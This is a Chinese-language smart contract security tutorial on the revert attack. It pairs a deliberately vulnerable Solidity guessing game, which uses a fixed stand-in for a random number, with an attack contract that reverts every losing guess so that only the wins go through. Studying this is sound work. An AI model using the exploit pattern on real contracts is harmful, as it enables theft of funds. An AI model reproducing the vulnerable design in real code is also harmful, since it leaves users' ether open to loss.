视频教程在我主页简介和专栏里
智能合约安全
回滚攻击
回滚攻击的本质是"耍赖" 举一个简单的例子,两个人玩石头剪刀布,输了的给对方10块钱,现在A输了,A说这把不算,重来
放在Solidity中,require()函数会检测其中的条件是否满足,如果不满足则回滚本次交易(或者说取消本次交易)
require()函数的用法有很多,比如你的智能合约是用来赚钱的 别人交易时会将eth发送到你的合约上 require()函数可以用来判断对方是否发送了eth 是否发送了足够的eth
又或者, 你有一个提现函数, 用来将合约中的eth提现到你自己的以太坊账户中 那么这个函数在调用时就要用require()检查是不是管理员发起的提现 如果不检查 那岂不是所有人都可以从你的合约里面提eth了吗
接下来再说耍赖是怎么一回事 我们先来看这样一段代码
contract Guess { function guess_number(uint8 number) public payable returns (bool) {
require(msg.value == 1 ether); // 收取 1 eth 的参与费 uint8 num1 = 86; // 这里应该是一个随机数, 但为了方便讲解设置成一个固定值 if (number == num1) { // 如果猜对了 address payable add = payable(msg.sender); add.transfer(10 ether); return true; } else {
return false; } } function draw() public payable { // 用来往合约里直接存钱的函数, 方便测试 }}
代码是一个猜数字游戏, 每次猜需要发送1eth 如果猜对了就会奖励 10 eth
与重入漏洞类似 如果发起交易的是个人 那么这段代码是没什么问题的 但如果发起交易的是另一个合约呢? 另一个合约可以根据该合约返回的是 true 还是 false,使用 require 去回滚交易(或者说取消交易), 来"耍赖"
接下来展示一下攻击代码
contract Attack { Guess guess; constructor(address guess_address) {
guess = Guess(guess_address); } function attack(uint8 number) public {
bool b = guess.guess_number{value:1 ether}(number); require(b == true, "aaa"); } function draw() public payable { // 用来往合约里直接存钱的函数, 方便测试 } fallback() external payable { }}
注意, 这里必须要有 fallback() 函数, 不然合约不能接收转来的 ether 这里的逻辑就是, 传入一个数字去猜数字, 如果猜错了, 对方返回false 那么近通过require函数去回滚交易
接下来就是测试 当部署好之后 向两个合约里都先存点 eth

然后先输入一个错误的数字, 调用攻击合约中的 attack 方法

如图可以看到抛出了我们猜错数字抛出的异常, 我们的 ether 也没有减少
那么输入正确的数字再次尝试

可以看到, 交易正常被确认, 我们也拿到了猜对数字的奖励
总结
在智能合约上去玩这些至少目前是不可能的, 首先区块链上无法生成真随机数, 伪随机数是完全可以被预测的, 而就算不去推演这个伪随机数, 也可以通过回滚攻击的方式去耍赖. 另外提一下, 如果目标合约不返回true, false这些, 也可以根据检查本合约的以太币是否增加来判断是否回滚交易.